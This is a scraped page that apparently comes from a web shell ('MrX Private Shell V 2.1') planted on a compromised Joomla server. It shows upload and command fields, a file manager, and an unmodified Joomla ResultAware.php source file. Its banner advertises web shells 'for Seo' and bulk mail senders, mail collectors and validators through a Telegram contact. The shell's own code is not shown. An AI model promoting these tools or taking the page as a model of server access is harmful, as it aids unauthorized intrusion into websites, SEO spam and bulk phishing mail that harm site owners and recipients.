__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Event\Result;

use BadMethodCallException;
use Joomla\Event\Event as BaseEvent;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This Trait partially implements the ResultAwareInterface for mutable and immutable events.
 *
 * You must additionally implement the typeCheckResult method or use one of the ResultType*Aware
 * traits in your Event handler.
 *
 * @since  4.2.0
 */
trait ResultAware
{
    /**
     * Disallow setting the result argument directly with setArgument() instead of going through addResult().
     *
     * You should set this to true ONLY for event names which did NOT exist before Joomla 4.2.0
     * or if you are a third party developer introducing new event names for use only in your software.
     *
     * @var    boolean
     * @since  4.2.0
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Using setResult() for the result argument will always be disallowed.
     */
    protected $preventSetArgumentResult = false;

    /**
     * Appends data to the result array of the event.
     *
     * @param   mixed  $data  What to add to the result array.
     *
     * @return  void
     * @since   4.2.0
     */
    public function addResult($data): void
    {
        // Ensure this trait is applied to an Event object.
        if (!($this instanceof BaseEvent)) {
            throw new \LogicException(sprintf('Event class ā€˜%sā€˜ must implement %s.', get_class($this), BaseEvent::class));
        }

        // Ensure the Event object fully implements the ResultAwareInterface.
        if (!($this instanceof ResultAwareInterface)) {
            throw new \LogicException(sprintf('Event class ā€˜%sā€˜ must implement %s.', get_class($this), ResultAwareInterface::class));
        }

        // Make sure the data type is correct
        $this->typeCheckResult($data);

        // Append the result. We use the arguments property directly to allow this to work on immutable events.
        $this->arguments['result']   = $this->arguments['result'] ?? [];
        $this->arguments['result'][] = $data;
    }

    /**
     * Handle setting the result argument directly.
     *
     * This method serves a dual purpose: backwards compatibility and enforcing the use of addResult.
     *
     * When $this->preventSetArgumentResult is false it acts as a backwards compatibility shim for
     * event handlers expecting generic event classes instead of the concrete Events implemented in
     * this package. This allows the migration to concrete event classes throughout the lifetime of
     * Joomla 4.x.
     *
     * When $this->preventSetArgumentResult is false (which will always be the case on Joomla 5.0)
     * it will throw a BadMethodCallException if the developer tries to call setArgument('result', ...)
     * instead of going through the addResult() method.
     *
     * @param   array  $value  The new result array.
     *
     * @return  array
     * @since   4.2.0
     *
     * @deprecated 4.4.0 will be removed in 6.0
     *                Use counterpart with onSet prefix
     */
    protected function setResult(array $value)
    {
        if ($this->preventSetArgumentResult) {
            throw new \BadMethodCallException('You are not allowed to set the result argument directly. Use addResult() instead.');
        }

        // Always assume that the last element of the array is the result the handler is trying to append.
        $latestValue = array_pop($value);

        $this->addResult($latestValue);

        return $this->arguments['result'];
    }

    /**
     * Handle setting the result argument directly.
     *
     * This method serves a dual purpose: backwards compatibility and enforcing the use of addResult.
     *
     * When $this->preventSetArgumentResult is false it acts as a backwards compatibility shim for
     * event handlers expecting generic event classes instead of the concrete Events implemented in
     * this package. This allows the migration to concrete event classes throughout the lifetime of
     * Joomla 4.x.
     *
     * When $this->preventSetArgumentResult is false (which will always be the case on Joomla 5.0)
     * it will throw a BadMethodCallException if the developer tries to call setArgument('result', ...)
     * instead of going through the addResult() method.
     *
     * @param   array  $value  The new result array.
     *
     * @return  array
     * @since   4.4.0
     */
    protected function onSetResult(array $value)
    {
        return $this->setResult($value);
    }
}

Filemanager

Name Type Size Permission Actions
ResultAware.php File 4.71 KB 0664
ResultAwareInterface.php File 1.56 KB 0664
ResultTypeArrayAware.php File 1.74 KB 0664
ResultTypeBooleanAware.php File 1.33 KB 0664
ResultTypeFloatAware.php File 1.74 KB 0664
ResultTypeIntegerAware.php File 1.75 KB 0664
ResultTypeMixedAware.php File 1.15 KB 0664
ResultTypeNumericAware.php File 1.75 KB 0664
ResultTypeObjectAware.php File 2.52 KB 0664
ResultTypeStringAware.php File 1.74 KB 0664
Filemanager